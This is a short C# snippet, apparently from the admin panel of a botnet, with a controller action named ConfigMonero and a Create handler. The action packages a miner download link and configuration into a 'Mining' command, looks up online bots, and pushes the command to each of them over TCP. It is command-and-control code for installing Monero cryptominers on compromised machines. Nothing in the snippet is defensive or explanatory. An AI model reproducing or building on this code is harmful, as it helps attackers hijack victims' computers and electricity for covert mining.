public async Task <IActionResult> ConfigMonero(MiningModel model)
        {
            var method = new BaseCommands
            {
                Method = "Mining"
            };
            var Variables = new MinerVariables
            {
                Link   = model.Link,
                Config = model.Config
            };
            var Command = new MiningCommand
            {
                newMinerVariables = Variables,
                newBaseCommand    = method,
            };
            var bots = new GetBotsByStatusQuery
            {
                status = false//execute online bots
            };
            var botlist = await _mediator.Send(bots);

            var response = CommandExecute.TcpConnects(botlist, JsonConvert.SerializeObject(Command).Replace(@"\", ""));

            return(Json(response));
        }
Exemple #2
0
 public Task <Unit> Create(MiningCommand mining, CancellationToken cancellationToken)
 {
     return(_mediator.Send(mining, cancellationToken));
 }